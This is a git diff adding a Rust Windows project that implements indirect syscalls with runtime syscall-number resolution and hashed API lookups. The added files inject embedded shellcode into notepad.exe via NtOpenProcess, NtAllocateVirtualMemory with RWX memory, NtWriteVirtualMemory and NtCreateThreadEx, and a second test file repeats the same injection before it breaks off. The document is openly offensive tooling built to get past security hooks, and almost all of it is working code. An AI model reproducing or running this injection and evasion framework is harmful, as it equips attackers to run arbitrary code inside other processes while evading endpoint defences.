diff --git a/syscalls/indirect_syscalls/Cargo.toml b/syscalls/indirect_syscalls/Cargo.toml new file mode 100644 index 0000000..c5898fb --- /dev/null +++ b/syscalls/indirect_syscalls/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "indirect_syscalls" +version = "0.1.0" +edition = "2021" + +[dependencies] +winapi = { version = "0.3.9", features = ["wtsapi32","winuser","setupapi","dbghelp","wlanapi","winnls","wincon","fileapi","sysinfoapi", "fibersapi","debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] } +ntapi = "0.4.1" +# Add the following for systemcall stub ! +# rust_syscalls = {path = "..\rust_syscalls\\src", features = ["_INDIRECT_"]} + +rust_syscalls = {path = "./rust_syscalls/", features = ["_INDIRECT_"]} diff --git a/syscalls/indirect_syscalls/README.md b/syscalls/indirect_syscalls/README.md new file mode 100644 index 0000000..23ccc2f --- /dev/null +++ b/syscalls/indirect_syscalls/README.md @@ -0,0 +1,13 @@ +## Indirect Syscall + +Implementing indirect system calls using Single stub with runtime SSN resolving for windows. + +![indiect_syscall](./indirect_syscall.png) + + +## Credits +* https://github.com/janoglezcampos/rust_syscalls.git +* https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls +* https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection + +by @5mukx \ No newline at end of file diff --git a/syscalls/indirect_syscalls/indirect_syscall.png b/syscalls/indirect_syscalls/indirect_syscall.png new file mode 100644 index 0000000..ba36a5f Binary files /dev/null and b/syscalls/indirect_syscalls/indirect_syscall.png differ diff --git a/syscalls/indirect_syscalls/rust_syscalls/Cargo.toml b/syscalls/indirect_syscalls/rust_syscalls/Cargo.toml new file mode 100644 index 0000000..2be00af --- /dev/null +++ b/syscalls/indirect_syscalls/rust_syscalls/Cargo.toml @@ -0,0 +1,14 @@ +[package] +name = "rust_syscalls" +version = "0.1.0" +edition = "2021" +authors = ["Yxel "] +repository = "https://github.com/janoglezcampos/rust_syscalls" + +[features] +_INDIRECT_ = [] +_DIRECT_ = [] + +[dependencies] +winapi = {version = "0.3.9", features = ["ntdef", "winnt"]} +ntapi = "0.4.0" \ No newline at end of file diff --git a/syscalls/indirect_syscalls/rust_syscalls/src/lib.rs b/syscalls/indirect_syscalls/rust_syscalls/src/lib.rs new file mode 100644 index 0000000..bd57482 --- /dev/null +++ b/syscalls/indirect_syscalls/rust_syscalls/src/lib.rs @@ -0,0 +1,9 @@ +#[cfg(all(feature = "_DIRECT_", feature = "_INDIRECT_"))] +compile_error!("\t [!] RUST_SYSCALLS ERROR: feature \"_DIRECT_\" and feature \"_INDIRECT_\" cannot be enabled at the same time"); + +#[cfg(not(any(feature = "_DIRECT_", feature = "_INDIRECT_")))] +compile_error!("\t [!] RUST_SYSCALLS ERROR: feature \"_DIRECT_\" or feature \"_INDIRECT_\" must be enabled"); + +pub mod syscall; +pub mod syscall_resolve; +pub mod obf; \ No newline at end of file diff --git a/syscalls/indirect_syscalls/rust_syscalls/src/obf.rs b/syscalls/indirect_syscalls/rust_syscalls/src/obf.rs new file mode 100644 index 0000000..f742997 --- /dev/null +++ b/syscalls/indirect_syscalls/rust_syscalls/src/obf.rs @@ -0,0 +1,35 @@ +#[macro_export] +macro_rules! obf { + ($s:expr) => {{ + static HASH: u32 = $crate::obf::dbj2_hash_str($s); + HASH + } + }; +} + +pub const fn dbj2_hash_str(arg : &str) -> u32 +{ + dbj2_hash(arg.as_bytes()) +} + +pub const fn dbj2_hash(buffer : &[u8]) -> u32 +{ + let mut hsh : u32 = 5381; + let mut iter: usize = 0; + let mut cur : u8; + + while iter < buffer.len() + { + cur = buffer[iter]; + if cur == 0 { + iter += 1; + continue; + } + if cur >= ('a' as u8) { + cur -= 0x20; + } + hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32; + iter += 1; + }; + return hsh; +} diff --git a/syscalls/indirect_syscalls/rust_syscalls/src/syscall.rs b/syscalls/indirect_syscalls/rust_syscalls/src/syscall.rs new file mode 100644 index 0000000..5a562e2 --- /dev/null +++ b/syscalls/indirect_syscalls/rust_syscalls/src/syscall.rs @@ -0,0 +1,242 @@ +#[allow(unused_imports)] +use std::arch::global_asm; + +#[cfg(all(feature = "_DIRECT_", not(feature = "_INDIRECT_")))] +#[macro_export] +macro_rules! syscall { + ($function_name:expr, $($y:expr), +) => { + { + let ssn = $crate::syscall_resolve::get_ssn($crate::obf!($function_name)); + let mut cnt:u32 = 0; + $( + let _ = $y; + cnt += 1; + )+ + $crate::syscall::do_syscall(ssn, cnt, $($y), +) + }} +} + +#[cfg(all(feature = "_INDIRECT_", not(feature = "_DIRECT_")))] +#[macro_export] +macro_rules! syscall { + ($function_name:expr, $($y:expr), +) => { + { + let (ssn, addr) = $crate::syscall_resolve::get_ssn($crate::obf!($function_name)); + let mut cnt:u32 = 0; + $( + let _ = $y; + cnt += 1; + )+ + $crate::syscall::do_syscall(ssn, addr, cnt, $($y), +) + }} +} + +#[cfg(target_arch = "x86_64")] +#[cfg(all(feature = "_DIRECT_", not(feature = "_INDIRECT_")))] +global_asm!(" +.global do_syscall + +.section .text + +do_syscall: + + mov [rsp - 0x8], rsi + mov [rsp - 0x10], rdi + + mov eax, ecx + mov rcx, rdx + + mov r10, r8 + mov rdx, r9 + + mov r8, [rsp + 0x28] + mov r9, [rsp + 0x30] + + sub rcx, 0x4 + jle skip + + lea rsi, [rsp + 0x38] + lea rdi, [rsp + 0x28] + + rep movsq +skip: + syscall + + mov rsi, [rsp - 0x8] + mov rdi, [rsp - 0x10] + + ret +"); + +#[cfg(target_arch = "x86_64")] +#[cfg(all(feature = "_INDIRECT_", not(feature = "_DIRECT_")))] +global_asm!(" +.global do_syscall + +.section .text + +do_syscall: + mov [rsp - 0x8], rsi + mov [rsp - 0x10], rdi + mov [rsp - 0x18], r12 + + mov eax, ecx + mov r12, rdx + mov rcx, r8 + + mov r10, r9 + mov rdx, [rsp + 0x28] + mov r8, [rsp + 0x30] + mov r9, [rsp + 0x38] + + sub rcx, 0x4 + jle skip + + lea rsi, [rsp + 0x40] + lea rdi, [rsp + 0x28] + + rep movsq +skip: + + mov rcx, r12 + + mov rsi, [rsp - 0x8] + mov rdi, [rsp - 0x10] + mov r12, [rsp - 0x18] + + jmp rcx +"); + +#[cfg(target_arch = "x86")] +#[cfg(all(feature = "_DIRECT_", not(feature = "_INDIRECT_")))] +global_asm!(" +.global _do_syscall + +.section .text + +_do_syscall: + mov [esp - 0x04], esi + mov [esp - 0x08], edi + + mov eax, [esp + 0x04] + mov ecx, [esp + 0x08] + + lea esi, [esp + 0x0C] + lea edi, [esp + 0x04] + + rep movsd + + mov esi, [esp - 0x04] + mov edi, [esp - 0x08] + + mov edx, fs:[0xc0] + test edx, edx + je native + + call edx + ret + +native: + call sysenter + ret + +sysenter: + mov edx,esp + sysenter + +"); + +#[cfg(target_arch = "x86")] +#[cfg(all(feature = "_INDIRECT_", not(feature = "_DIRECT_")))] +global_asm!(" +.global _do_syscall + +.section .text + +_do_syscall: + mov ecx, [esp + 0x0C] + not ecx + add ecx, 1 + lea edx, [esp + ecx * 4] + + mov ecx, [esp] + mov [edx], ecx + + mov [edx - 0x04], esi + mov [edx - 0x08], edi + + mov eax, [esp + 0x04] + mov ecx, [esp + 0x0C] + + lea esi, [esp + 0x10] + lea edi, [edx + 0x04] + + rep movsd + + mov esi, [edx - 0x04] + mov edi, [edx - 0x08] + mov ecx, [esp + 0x08] + + mov esp, edx + + mov edx, fs:[0xC0] + test edx, edx + je native + + mov edx, fs:[0xC0] + jmp ecx + +native: + mov edx, ecx + sub edx, 0x05 + push edx + mov edx, esp + jmp ecx + ret + +is_wow64: +"); + + + +#[cfg(target_arch = "x86_64")] +#[cfg(all(feature = "_DIRECT_", not(feature = "_INDIRECT_")))] +extern "C" { + pub fn do_syscall( + ssn: u16, + n_args: u32, + ... + ) -> i32; +} + +#[cfg(target_arch = "x86_64")] +#[cfg(all(feature = "_INDIRECT_", not(feature = "_DIRECT_")))] +extern "C" { + pub fn do_syscall( + ssn: u16, + syscall_addr: u64, + n_args: u32, + ... + ) -> i32; +} + +#[cfg(target_arch = "x86")] +#[cfg(all(feature = "_DIRECT_", not(feature = "_INDIRECT_")))] +extern "C" { + pub fn do_syscall( + ssn: u16, + n_args: u32, + ... + ) -> i32; +} + +#[cfg(target_arch = "x86")] +#[cfg(all(feature = "_INDIRECT_", not(feature = "_DIRECT_")))] +extern "C" { + pub fn do_syscall( + ssn: u16, + n_args: u32, + syscall_addr: u32, + ... + ) -> i32; +} \ No newline at end of file diff --git a/syscalls/indirect_syscalls/rust_syscalls/src/syscall_resolve.rs b/syscalls/indirect_syscalls/rust_syscalls/src/syscall_resolve.rs new file mode 100644 index 0000000..ac4c4e8 --- /dev/null +++ b/syscalls/indirect_syscalls/rust_syscalls/src/syscall_resolve.rs @@ -0,0 +1,223 @@ +use std::ptr::addr_of; +use std::arch::asm; + +use core::slice; + +use ntapi::ntldr::PLDR_DATA_TABLE_ENTRY; +use ntapi::FIELD_OFFSET; +use ntapi::ntpebteb::{PPEB, TEB}; +use ntapi::ntpsapi::PPEB_LDR_DATA; + +use winapi::shared::minwindef::{PWORD, PUSHORT}; +use winapi::shared::ntdef::{NULL, PVOID, ULONG, PUCHAR, PLIST_ENTRY}; +use winapi::um::winnt::{PIMAGE_DOS_HEADER, PIMAGE_DATA_DIRECTORY, PIMAGE_NT_HEADERS, PIMAGE_EXPORT_DIRECTORY}; + +use crate::obf::dbj2_hash; + + +#[cfg(target_arch = "x86_64")] +pub unsafe fn __readgsqword(offset: u32) -> u64 { + let out: u64; + asm!( + "mov {}, gs:[{:e}]", + lateout(reg) out, + in(reg) offset, + options(nostack, pure, readonly), + ); + out +} + +#[cfg(target_arch = "x86")] +pub unsafe fn __readfsdword(offset: u32) -> u32 { + let out: u32; + asm!( + "mov {:e}, fs:[{:e}]", + lateout(reg) out, + in(reg) offset, + options(nostack, pure, readonly), + ); + out +} + +#[cfg(target_arch = "x86")] +pub unsafe fn is_wow64() -> bool { + let addr = __readfsdword(0xC0); + if addr != 0 { + return true + } + false +} + +pub unsafe fn nt_current_teb() -> *mut TEB { + use winapi::um::winnt::NT_TIB; + let teb_offset = FIELD_OFFSET!(NT_TIB, _Self) as u32; + #[cfg(target_arch = "x86_64")] { + __readgsqword(teb_offset) as *mut TEB + } + #[cfg(target_arch = "x86")] { + __readfsdword(teb_offset) as *mut TEB + } +} + +pub unsafe fn nt_current_peb() -> PPEB { + (*nt_current_teb()).ProcessEnvironmentBlock +} + + +pub fn get_cstr_len(pointer: *const char) -> usize{ + let mut tmp: u64 = pointer as u64; + unsafe { + while *(tmp as *const u8) != 0{ + tmp += 1; + } + } + (tmp - pointer as u64) as _ +} + +fn get_module_addr( hash: ULONG ) -> PVOID +{ + let ldr : PPEB_LDR_DATA; + let header : PLIST_ENTRY; + let mut dt_entry : PLDR_DATA_TABLE_ENTRY; + let mut entry : PLIST_ENTRY; + let mut mod_hash : ULONG; + let mut mod_name : &[u8]; + let mut mod_len : usize; + + unsafe { + ldr = (*nt_current_peb()).Ldr; + header = addr_of!((*ldr).InLoadOrderModuleList) as PLIST_ENTRY; + entry = (*header).Flink; + + while header as u64 != entry as u64 { + dt_entry = entry as PLDR_DATA_TABLE_ENTRY; + mod_len = ((*dt_entry).BaseDllName.Length) as usize; + mod_name = slice::from_raw_parts((*dt_entry).BaseDllName.Buffer as *const u8, + mod_len); + mod_hash = dbj2_hash(mod_name) as ULONG; + + if mod_hash == hash { + return (*dt_entry).DllBase + } + + entry = (*entry).Flink; + } + } + NULL +} + +fn get_function_addr(mdoule_addr: PVOID, hash: u32) -> PVOID{ + let dos_header : PIMAGE_DOS_HEADER; + let nt_header : PIMAGE_NT_HEADERS; + let data_dir : PIMAGE_DATA_DIRECTORY; + let exp_dir : PIMAGE_EXPORT_DIRECTORY; + let addr_funcs : PWORD; + let addr_names : PWORD; + let addr_ords : PUSHORT; + let mut str_addr : PUCHAR; + let mut str_len : usize; + let addr_list : &[u32]; + let name_list : &[u32]; + let ord_list : &[u16]; + + dos_header = mdoule_addr as PIMAGE_DOS_HEADER; + + unsafe { + nt_header = (dos_header as u64 + (*dos_header).e_lfanew as u64) as PIMAGE_NT_HEADERS; + data_dir = addr_of!((*nt_header).OptionalHeader.DataDirectory[0]) as PIMAGE_DATA_DIRECTORY; + + if (*data_dir).VirtualAddress != 0 { + exp_dir = (dos_header as u64 + (*data_dir).VirtualAddress as u64) as PIMAGE_EXPORT_DIRECTORY; + addr_funcs = (dos_header as u64 + (*exp_dir).AddressOfFunctions as u64 ) as PWORD; + addr_names = (dos_header as u64 + (*exp_dir).AddressOfNames as u64) as PWORD; + addr_ords = (dos_header as u64 + (*exp_dir).AddressOfNameOrdinals as u64) as PUSHORT; + + name_list = slice::from_raw_parts(addr_names as *const u32, (*exp_dir).NumberOfNames as usize); + ord_list = slice::from_raw_parts(addr_ords as *const u16, (*exp_dir).NumberOfNames as usize); + addr_list = slice::from_raw_parts(addr_funcs as *const u32, (*exp_dir).NumberOfNames as usize); + + for iter in 0..(*exp_dir).NumberOfNames as usize { + str_addr = (dos_header as u64 + name_list[iter] as u64) as PUCHAR; + str_len = get_cstr_len(str_addr as _); + if hash == dbj2_hash(slice::from_raw_parts(str_addr as _, str_len)){ + return (dos_header as u64 + addr_list[ord_list[iter] as usize] as u64) as PVOID; + } + } + } + } + NULL +} + +#[cfg(target_arch = "x86_64")] +#[cfg(all(feature = "_DIRECT_", not(feature = "_INDIRECT_")))] +pub fn get_ssn(hash: u32) -> u16 { + let ntdll_addr : PVOID; + let funct_addr : PVOID; + let ssn : u16; + + ntdll_addr = get_module_addr(crate::obf!("ntdll.dll")); + funct_addr = get_function_addr(ntdll_addr, hash); + unsafe { + ssn = *((funct_addr as u64 + 4) as *const u16); + } + ssn +} + +#[cfg(target_arch = "x86_64")] +#[cfg(all(feature = "_INDIRECT_", not(feature = "_DIRECT_")))] +pub fn get_ssn(hash: u32) -> (u16, u64) { + let ntdll_addr : PVOID; + let funct_addr : PVOID; + let ssn_addr : u64; + let ssn : u16; + + ntdll_addr = get_module_addr(crate::obf!("ntdll.dll")); + funct_addr = get_function_addr(ntdll_addr, hash); + unsafe { + ssn = *((funct_addr as u64 + 4) as *const u16); + } + ssn_addr = funct_addr as u64 + 0x12; + + (ssn, ssn_addr) +} + + + +#[cfg(target_arch = "x86")] +#[cfg(all(feature = "_DIRECT_", not(feature = "_INDIRECT_")))] +pub fn get_ssn(hash: u32) -> u16 { + let ntdll_addr : PVOID; + let funct_addr : PVOID; + let ssn : u16; + + ntdll_addr = get_module_addr(crate::obf!("ntdll.dll")); + funct_addr = get_function_addr(ntdll_addr, hash); + unsafe { + ssn = *((funct_addr as u64 + 1) as *const u16); + } + ssn +} + +#[cfg(target_arch = "x86")] +#[cfg(all(feature = "_INDIRECT_", not(feature = "_DIRECT_")))] +pub fn get_ssn(hash: u32) -> (u16, u32) { + let ntdll_addr : PVOID; + let funct_addr : PVOID; + let ssn_addr : u32; + let ssn : u16; + + ntdll_addr = get_module_addr(crate::obf!("ntdll.dll")); + funct_addr = get_function_addr(ntdll_addr, hash); + unsafe { + ssn = *((funct_addr as u64 + 1) as *const u16); + + if is_wow64(){ + ssn_addr = funct_addr as u32 + 0x0A; + } + else { + ssn_addr = funct_addr as u32 + 0x0F; + } + } + (ssn, ssn_addr) +} + diff --git a/syscalls/indirect_syscalls/src/indirect_calls.rs b/syscalls/indirect_syscalls/src/indirect_calls.rs new file mode 100644 index 0000000..c1330cd --- /dev/null +++ b/syscalls/indirect_syscalls/src/indirect_calls.rs @@ -0,0 +1,228 @@ +/* + Implementing indirect system calls using Single stub with runtime SSN resolving for windows. + by @5mukx +*/ + +use std::ffi::CString; +use std::mem::size_of; +use std::ptr::null_mut; +use std::os::raw::c_void; +use ntapi::ntapi_base::CLIENT_ID; +use winapi::shared::ntdef::{NULL, OBJECT_ATTRIBUTES}; +use winapi::um::errhandlingapi::GetLastError; +use winapi::um::winnt::{GENERIC_EXECUTE, HANDLE, PAGE_EXECUTE_READWRITE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_WRITE}; +use winapi::um::handleapi::CloseHandle; +use winapi::um::tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS}; + +use rust_syscalls::syscall; + + + +fn get_pid(process_name: &str) -> u32{ + unsafe{ + let mut pe: PROCESSENTRY32 = std::mem::zeroed(); + pe.dwSize = std::mem::size_of::() as u32; + + let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snap.is_null(){ + println!("Error while snapshoting processes : Error : {}",GetLastError()); + std::process::exit(0); + } + + let mut pid = 0; + + let mut result = Process32First(snap, &mut pe) != 0; + + while result{ + + let exe_file = CString::from_vec_unchecked(pe.szExeFile + .iter() + .map(|&file| file as u8) + .take_while(|&c| c!=0) + .collect::>(), + ); + + if exe_file.to_str().unwrap() == process_name { + pid = pe.th32ProcessID; + break; + } + result = Process32Next(snap, &mut pe) !=0; + } + + if pid == 0{ + println!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS"); + std::process::exit(0); + } + + CloseHandle(snap); + pid + } +} + + +pub fn inject_indirect_syscalls(shellcode: &[u8]){ + + unsafe{ + let mut status; + let process_name = "notepad.exe"; + + let pid: u32 = get_pid(process_name); + let mut process_handle: HANDLE = null_mut(); + + // Initialize Object Attributes + // Set up CLIENT_ID + // looks like this does not work ! + + let mut client_id: CLIENT_ID = std::mem::zeroed(); + client_id.UniqueProcess = pid as _; + client_id.UniqueThread = 0 as _; + + let mut oa: OBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES { + Length: size_of::() as _, + RootDirectory: NULL, + ObjectName: NULL as _, + Attributes: 0, + SecurityDescriptor: NULL, + SecurityQualityOfService: NULL, + }; + + + status = syscall!( + "NtOpenProcess", + &mut process_handle as *mut _, + PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, + &mut oa, + &client_id as *const _ + ); + + if status != 0 { + eprintln!("Failed to open target process: 0x{:X}", status); + return; + } + + println!("NtOpenProcess Opened Successfully: {:?}", status); + + println!("Successfully opened process with handle: {:?}", process_handle); + + let mut base_address: *mut c_void = null_mut(); + let mut region_size: usize = 4096; // Allocate 4KB + + // Allocate memory + status = syscall!( + "NtAllocateVirtualMemory", + process_handle, + &mut base_address as *mut _, + 0, + &mut region_size, + 0x1000 | 0x2000, // MEM_COMMIT | MEM_RESERVE + PAGE_EXECUTE_READWRITE + ); + + if status != 0 { + eprintln!("Failed to allocate memory: 0x{:X}", status); + // Clean up: Close the opened process handle + syscall!("NtClose", process_handle); + return; + } + + println!("NtAllocateVirtualMemory Success: {}", status); + println!("Successfully allocated memory at: {:?}, size: {} bytes", base_address, region_size); + + let mut bytes_written: usize = 0; + + status = syscall!( + "NtWriteVirtualMemory", + process_handle, + base_address, + shellcode.as_ptr() as *const _, + shellcode.len(), + &mut bytes_written + ); + + if status != 0 { + eprintln!("Failed to write shellcode: 0x{:X}", status); + let free_status = syscall!( + "NtFreeVirtualMemory", + process_handle, + &mut base_address as *mut _, + &mut region_size as *mut _, + 0x8000 // MEM_RELEASE + ); + if free_status != 0 { + eprintln!("Failed to free memory: 0x{:X}", free_status); + } + syscall!("NtClose", process_handle); + return; + } + + println!("Successfully wrote shellcode to memory. Bytes written: {}", bytes_written); + + // Execute the shellcode using NtCreateThreadEx + let mut thread_handle: HANDLE = null_mut(); + + status = syscall!( + "NtCreateThreadEx", + &mut thread_handle as *mut _, + GENERIC_EXECUTE, // THREAD_ALL_ACCESS + NULL, + process_handle, + base_address, + NULL, + 0, // Not suspended + 0, + 0, + 0, + NULL + ); + + if status != 0 { + eprintln!("Failed to create thread: 0x{:X}", status); + let free_status = syscall!( + "NtFreeVirtualMemory", + process_handle, + &mut base_address as *mut _, + &mut region_size as *mut _, + 0x8000 // MEM_RELEASE + ); + if free_status != 0 { + eprintln!("Failed to free memory: 0x{:X}", free_status); + } + syscall!("NtClose", process_handle); + return; + } + + println!("NtCreateThreadEx Executed Successfully: {}", status); + + // Wait for thread to finish + status = syscall!( + "NtWaitForSingleObject", + thread_handle, + 0, + NULL + ); + + if status != 0 { + eprintln!("Failed to wait for thread: 0x{:X}", status); + } + + // Clean up + syscall!("NtClose", thread_handle); + + // Free the allocated memory + let free_status = syscall!( + "NtFreeVirtualMemory", + process_handle, + &mut base_address as *mut _, + &mut region_size as *mut _, + 0x8000 // MEM_RELEASE + ); + if free_status != 0 { + eprintln!("Failed to free memory: 0x{:X}", free_status); + } + + // Close the process handle + syscall!("NtClose", process_handle); + + println!("Shellcode execution completed. All resources cleaned up!"); + } +} diff --git a/syscalls/indirect_syscalls/src/main.rs b/syscalls/indirect_syscalls/src/main.rs new file mode 100644 index 0000000..57a2b46 --- /dev/null +++ b/syscalls/indirect_syscalls/src/main.rs @@ -0,0 +1,48 @@ +/* + Implementing indirect system calls using Single stub with runtime SSN resolving for windows. + by @5mukx +*/ + +// pub mod using_ntapi; +// pub mod tryting_something_nt_works; +// pub mod without_ntapi; +// pub mod using_ntapi; + +pub mod indirect_calls; +fn main(){ + + + // using_ntapi::using_ntapi_crates(); + let shellcode:[u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff, + 0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b, + 0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50, + 0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20, + 0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00, + 0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e, + 0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3, + 0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, + 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08, + 0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49, + 0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40, + 0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0, + 0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41, + 0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59, + 0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e, + 0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26, + 0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48, + 0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01, + 0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, + 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5, + 0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73, + 0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e, + 0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73, + 0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00 ]; + + // Executing shellcode using Single stub direct and indirect syscalling with runtime SSN resolving for windows. + indirect_calls::inject_indirect_syscalls(&shellcode); +} + diff --git a/syscalls/indirect_syscalls/src/test1.rs b/syscalls/indirect_syscalls/src/test1.rs new file mode 100644 index 0000000..93db716 --- /dev/null +++ b/syscalls/indirect_syscalls/src/test1.rs @@ -0,0 +1,258 @@ +use std::ffi::CString; +use std::mem::{size_of, transmute}; +use std::ptr::{null, null_mut}; +use std::os::raw::c_void; +use winapi::shared::ntdef::{InitializeObjectAttributes, NTSTATUS, NULL}; +use winapi::um::errhandlingapi::GetLastError; +use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress}; +use winapi::um::winnt::{HANDLE, PAGE_EXECUTE_READWRITE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_WRITE}; +use winapi::um::handleapi::CloseHandle; +use winapi::um::tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS}; + +fn get_pid(process_name: &str) -> u32{ + unsafe{ + let mut pe: PROCESSENTRY32 = std::mem::zeroed(); + pe.dwSize = std::mem::size_of::() as u32; + + let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snap.is_null(){ + println!("Error while snapshoting processes : Error : {}",GetLastError()); + std::process::exit(0); + } + + let mut pid = 0; + + let mut result = Process32First(snap, &mut pe) != 0; + + while result{ + + let exe_file = CString::from_vec_unchecked(pe.szExeFile + .iter() + .map(|&file| file as u8) + .take_while(|&c| c!=0) + .collect::>(), + ); + + if exe_file.to_str().unwrap() == process_name { + pid = pe.th32ProcessID; + break; + } + result = Process32Next(snap, &mut pe) !=0; + } + + if pid == 0{ + println!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS"); + std::process::exit(0); + } + + CloseHandle(snap); + pid + } +} + + +#[repr(C)] +struct CLIENT_ID { + unique_process: *mut c_void, + unique_thread: *mut c_void, +} + + +type NtOpenProcess = unsafe extern "system" fn( + process_handle: *mut HANDLE, + desired_access: u32, + object_attributes: *mut c_void, + client_id: *const CLIENT_ID, +) -> NTSTATUS; + +type NtAllocateVirtualMemory = unsafe extern "system" fn( + process_handle: HANDLE, + base_address: *mut *mut c_void, + zero_bits: usize, + region_size: *mut usize, + allocation_type: u32, + protect: u32, +) -> NTSTATUS; + +type NtWriteVirtualMemory = unsafe extern "system" fn( + process_handle: HANDLE, + base_address: *mut c_void, + buffer: *const c_void, + size: usize, + written: *mut usize, +) -> NTSTATUS; + +type NtCreateThreadEx = unsafe extern "system" fn( + thread_handle: *mut HANDLE, + desired_access: u32, + object_attributes: *mut c_void, + process_handle: HANDLE, + start_address: *mut c_void, + parameter: *mut c_void, + create_flags: u32, + zero_bits: usize, + stack_size: usize, + maximum_stack_size: usize, + attribute_list: *mut c_void, +) -> NTSTATUS; + +pub fn inject_indirect_syscalls() { + let process_name = "notepad.exe"; + + let pid: u32 = get_pid(process_name); + let mut process_handle: HANDLE = null_mut(); + + // Initialize Object Attributes + let object_attributes: *mut winapi::shared::ntdef::OBJECT_ATTRIBUTES = std::ptr::null_mut(); + unsafe { InitializeObjectAttributes(object_attributes, null_mut(), 0, null_mut(), null_mut()) }; + + // Set up CLIENT_ID + // looks like this does not work ! + + let client_id = CLIENT_ID { + unique_process: pid as usize as *mut c_void, + unique_thread: null_mut(), + }; + + + + // Load ntdll.dll + + let ntdll = unsafe { + let string = CString::new("ntdll.dll").unwrap(); + GetModuleHandleA(string.as_ptr()) + }; + + if ntdll.is_null() { + eprintln!("Failed to load ntdll.dll"); + return; + } + + // Get function pointers for NT APIs + let nt_open_process: NtOpenProcess = unsafe { + let func = GetProcAddress(ntdll, CString::new("NtOpenProcess").unwrap().as_ptr()); + if func.is_null() { + eprintln!("Failed to get NtOpenProcess address"); + return; + } + transmute(func) + }; + + let nt_allocate_virtual_memory: NtAllocateVirtualMemory = unsafe { + let func = GetProcAddress(ntdll, CString::new("NtAllocateVirtualMemory").unwrap().as_ptr()); + if func.is_null() { + eprintln!("Failed to get NtAllocateVirtualMemory address"); + return; + } + transmute(func) + }; + + let nt_write_virtual_memory: NtWriteVirtualMemory = unsafe { + let func = GetProcAddress(ntdll, CString::new("NtWriteVirtualMemory").unwrap().as_ptr()); + if func.is_null() { + eprintln!("Failed to get NtWriteVirtualMemory address"); + return; + } + transmute(func) + }; + + let nt_create_thread_ex: NtCreateThreadEx = unsafe { + let func = GetProcAddress(ntdll, CString::new("NtCreateThreadEx").unwrap().as_ptr()); + if func.is_null() { + eprintln!("Failed to get NtCreateThreadEx address"); + return; + } + transmute(func) + }; + + // Call NtOpenProcess + let status = unsafe { + nt_open_process( + &mut process_handle as *mut _, + PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, + null_mut(), + &client_id as *const _, + ) + }; + + if status != 0 { + eprintln!("Failed to open target process: 0x{:X}", status); + return; + } + + println!("Successfully opened process with handle: {:?}", process_handle); + + // Allocate memory for the shellcode + let mut base_address: *mut c_void = null_mut(); + let mut region_size: usize = 4096; // Allocate 4KB + + let alloc_status = unsafe { + nt_allocate_virtual_memory( + process_handle, + &mut base_address, + 0, + &mut region_size, + 0x1000 | 0x2000, // 